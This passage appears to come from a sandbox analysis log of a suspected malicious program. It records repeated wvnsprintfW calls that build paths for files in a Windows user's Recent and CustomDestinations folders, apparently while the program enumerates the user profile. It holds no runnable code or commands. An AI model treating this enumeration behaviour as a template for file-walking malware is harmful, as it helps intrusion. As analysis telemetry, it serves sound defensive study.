pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms") returned 122 [0119.331] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms") returned 122 [0119.331] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms") returned 122 [0119.331] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\6d2bac8f1edf6668.customDestinations-ms") returned 122 [0119.331] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned 122 [0119.331] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.332] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\d6HBqDQRMq.mkv.lnk") returned 83 [0119.332] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DElSEoyIexQDc.lnk") returned 82 [0119.332] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 76 [0119.332] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DHgnlVpZ3lvPkDQ.lnk") returned 84 [0119.332] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DK-E.lnk") returned 73 [0119.332] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dlOBfm9.ots.lnk") returned 80 [0119.332] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e7pTwrBH.lnk") returned 77 [0119.332] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\f8u_.lnk") returned 73 [0119.332] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g0cXpo9 l_9.lnk") returned 80 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GA JMw77e8oNU-n.lnk") returned 84 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gogo bcCuWmS g0QTi.lnk") returned 87 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\h6rzILMxje9AG.lnk") returned 82 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hFkyaUDkmRi MKftN6.lnk") returned 87 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HhxENkXSiAjd.lnk") returned 81 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HMM2aRES.lnk") returned 77 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i5D15rX3r9xVQa0.lnk") returned 84 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ieeYHL-dYv.lnk") returned 79 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IoFnVZt5OVrXc94.lnk") returned 84 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iyfDL.flv.lnk") returned 78 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\izBLIIiGcSgs07tfFVbl.lnk") returned 89 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\izSAyEheYraQGJ1lE.lnk") returned 86 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J-KAN9-.lnk") returned 76 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J1r 1JZiss0iW_Pw4UQn.swf.lnk") returned 93 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J1SwBT78kuBb8NnH-ee.lnk") returned 88 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JbHJ.lnk") returned 73 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jLbI.lnk") returned 73 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jMBQtenVyg4L.lnk") returned 81 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JMv9vu9eMGinA7raPk.mkv.lnk") returned 91 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jNLx83xclZOT6fWXxpRz.lnk") returned 89 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JWxJgBZ0MfGV5-K_W.lnk") returned 86 [0119.373] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\j_4Mj.lnk") returned 74 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\K4i155BHW8C.lnk") returned 80 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\k7zh4yY.swf.lnk") returned 80 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\k8jrtDj9LyfwcfMd.lnk") returned 85 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KdHsmKYDr7d3r.lnk") returned 82 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KI1HtdTOC-p.flv.lnk") returned 84 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kjJM-J.lnk") returned 75 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kzzQT6YV.swf.lnk") returned 81 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lkh5 k8XuA2JQC.lnk") returned 83 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lsr2XHXEWF fzF2X.lnk") returned 85 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lW-64Dyan.lnk") returned 78 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LxT9XSH.flv.lnk") returned 80 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MLfQNntPPK-Sym.lnk") returned 83 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mqEf.swf.lnk") returned 77 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MvSYoI.lnk") returned 75 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk") returned 77 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk") returned 80 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk") returned 78 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OkOn58e2xb DSMd.lnk") returned 84 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Or-om2X3XTF.lnk") returned 80 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p7IXcY.lnk") returned 75 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pI8 cxP0Q.lnk") returned 78 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PqiXBSIX-L8uSYHKKM1W.lnk") returned 89 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PtkBw.mkv.lnk") returned 78 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pWs7o.lnk") returned 74 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qdx f.lnk") returned 74 [0119.374] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QDxUwWleiuqwe1.mkv.lnk") returned 87 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Qi2xmt0Rq.ots.lnk") returned 82 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QX8xc.lnk") returned 74 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QXWTW5henjq45siD.lnk") returned 85 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Q_BidTkXLKw_9KnQ.lnk") returned 85 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RAcdCLm1gs6QXedtLdv7.lnk") returned 89 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RJVDCftzHWCi4UZwxN.lnk") returned 87 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rkSr9G.mkv.lnk") returned 79 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk") returned 76 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rrDdBF.lnk") returned 75 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RwYDw3B1H.lnk") returned 78 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SdI5ZiIGaunc3Jf-.flv.lnk") returned 89 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SI8T1qCpbC.lnk") returned 79 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SPP1HNA.swf.lnk") returned 80 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SP_W01qfEQow Xze Vd.lnk") returned 88 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T-Pct0XA.lnk") returned 77 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tL LzwEywDvvC.lnk") returned 82 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tsVYmEsPdIq.lnk") returned 80 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TUFdyINeNWE.lnk") returned 80 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tX1QbB.lnk") returned 75 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u- 6CkqbOaQ8_6wwD.lnk") returned 86 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U6_iaAjYZi.lnk") returned 79 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UPS_Slip_307086.lnk") returned 84 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uu0sZFDg9q.lnk") returned 79 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uXFxmWEGABtwgcBszsjR.lnk") returned 89 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VNbQY-fHfjTXe5r920VH.lnk") returned 89 [0119.375] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vsvz5VyPrvlVO89C.lnk") returned 85 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Wd12rupgHhCUMFm4WRm-.lnk") returned 89 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WHMyt54.lnk") returned 76 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wjgA2Y.lnk") returned 75 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wvDs4gEAz30rM.lnk") returned 82 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WZw3HiKTAy-v2Pn.lnk") returned 84 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xbHDwVMyRHvZtAkZ.lnk") returned 85 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xHYITZgObAq8.lnk") returned 81 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xIQgd4.lnk") returned 75 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xTvos8hXvdkwZlFp2.lnk") returned 86 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Xv0i4.lnk") returned 74 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XwKiuJX1h.lnk") returned 78 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y9c56JojY.lnk") returned 78 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y9Gto.mkv.lnk") returned 78 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y9xBuByx4xj.lnk") returned 80 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yETt7HkjMeZ_p.lnk") returned 82 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yJJxGlYJQvF.lnk") returned 80 [0119.376] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ymqYua5gihZXt5YY9sK.lnk") returned 